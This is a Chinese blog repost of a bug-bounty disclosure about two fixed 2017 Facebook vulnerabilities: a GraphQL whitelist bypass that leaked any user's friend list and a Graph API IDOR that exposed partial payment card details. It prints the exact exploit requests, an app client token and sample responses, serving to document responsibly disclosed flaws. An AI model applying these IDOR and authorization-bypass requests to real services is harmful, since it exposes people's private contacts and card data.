zoukankan      html  css  js  c++  java
  • GraphQL漏洞案例之获取Facebook任意用户的朋友列表和部分支付卡详细信息

    Facebook有一个GraphQL endpoint,只能由Facebook的某些应用程序使用。需要用户(或页面)access_token来查询GraphQL endpoint。

    这里可以将Facebook用在Android应用程序的客户端令牌去尝试查询请求,endpoint返回的错误消息如下:

    graph.facebook.com/graphql?access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&q=me(){id}
    
    Response:
    ...
        "error_data": {
          "debug_info": "Only whitelisted query IDs are allowed in logged out context"
        },
    ...
    

    错误显示仅允许被列入白名单的持久查询。之后运行一堆查询以查看是否有白名单。例如,查询“ FBActorNameQuery”:

    graph.facebook.com/graphql?access_token=350685531728|62f8ce9f74b12f84c123cc23437&query_id=10154057467378380&query_params={"actorID":"100…."}
    
    Response:
    ...
        "error_data": {
          "debug_info": "Only whitelisted query IDs are allowed in logged out context"
        },
    ...
    

    0x01 授权访问漏洞-遍历朋友列表

    因为找不到列入白名单的查询字段,所以报错信息都是提示白名单错误。后来用doc_id作为查询ID来发送查询才没有返回错误,但只能返回公共数据。

    虽然绕过了白名单,但是这个字段查询到的数据已经是公开内容。

    但是这个漏洞可以绕过Facebook自带的隐私设置。字段名为“ CSPlaygroundGraphQLFriendsQuery ” 的查询会泄漏朋友列表。

    请求和响应示例:

    graph.facebook.com/graphql?access_token=350685531728|62f8ce9f74b12f84c123cc23437&doc_id=1914123128613545&variables={"user_id":"10000xxxxxxxx"}&method=post
    
    响应内容:
    ...
        "node": {
          "friends": {
            "edges": [
                "node": {
                  "id": "12xxxxxxxxx",
                  "name": "Some One",
                  },
              {
                "node": {
                  "id": "15xxxxxxxxx",
                  "name": "Another One",
                }
              },
    ...
    

    漏洞修复时间线

    • 2017年10月6日:报告了错误
    • 2017年10月12日:Facebook回应,漏洞已归类
    • 2017年10月14日:修复了好友列表泄漏
    • 2017年10月17日:修复了白名单绕过问题

    0x02 使用Graph API的部分支付卡详细信息泄漏

    Facebook的Graph API的这个越权查询允许使用名为payment_modules_options的字段查询任意用户的支付卡详细信息。

    通过拦截Facebook的Android应用程序发出的注册和登录请求里发现了这个字段。
    这是一个示例请求:

    graph.facebook.com/v2.8/USER_ID?access_token=TOKEN
    &fields=payment_modules_options.payment_type(payment_settings)
    

    USER_ID是受害者的Facebook帐户的ID。

    access_token:Burpsuite里的TOKEN值是攻击者从Facebook应用程序(例如Android应用程序)访问请求包里获取的。

    如果没有有效的payment_type就没有办法进行查询,但是指定一个无效的付款类型,payment_type(asd)会返回所有可能是付款类型的列表。这是不安全的直接对象引用(IDOR)的教科书级别Bug示例。

    使用攻击者帐户作为受害者的请求和响应的屏幕截图:

    返回的数据包括:

    • 前6个卡数字(BIN),标识发行卡的银行
    • 后4位数字
    • 到期月份和年份
    • 卡的种类
    • 持卡人名字
    • 邮政编码和国家

    漏洞修复时间线

    • 2017年2月23日,21: 11-报告了错误
    • 2017年2月23日,21:50-Facebook的第一反应,正在调查该报告
    • 2017年2月23日,23:25-正在部署修订
    • 2017年2月24日,01:24-错误现已修复

    0x03 编译

    https://www.josipfranjkovic.com/blog/facebook-friendlist-paymentcard-leak

  • 相关阅读:
    剑指offer---链表中倒数第k个结点
    剑指offer---反转链表
    剑指offer---从尾到头打印链表
    数据结构---链表ADT C++实现
    ubuntu解压zip文件出现乱码情况解决方法
    Ubuntu终端常用的快捷键(转载)
    requsets模块的学习
    爬虫的基本知识
    谈谈我们对userAgent的看法,为什么爬虫中需要userAgent?
    git的基本使用
  • 原文地址:https://www.cnblogs.com/17bdw/p/12045930.html
Copyright © 2011-2022 走看看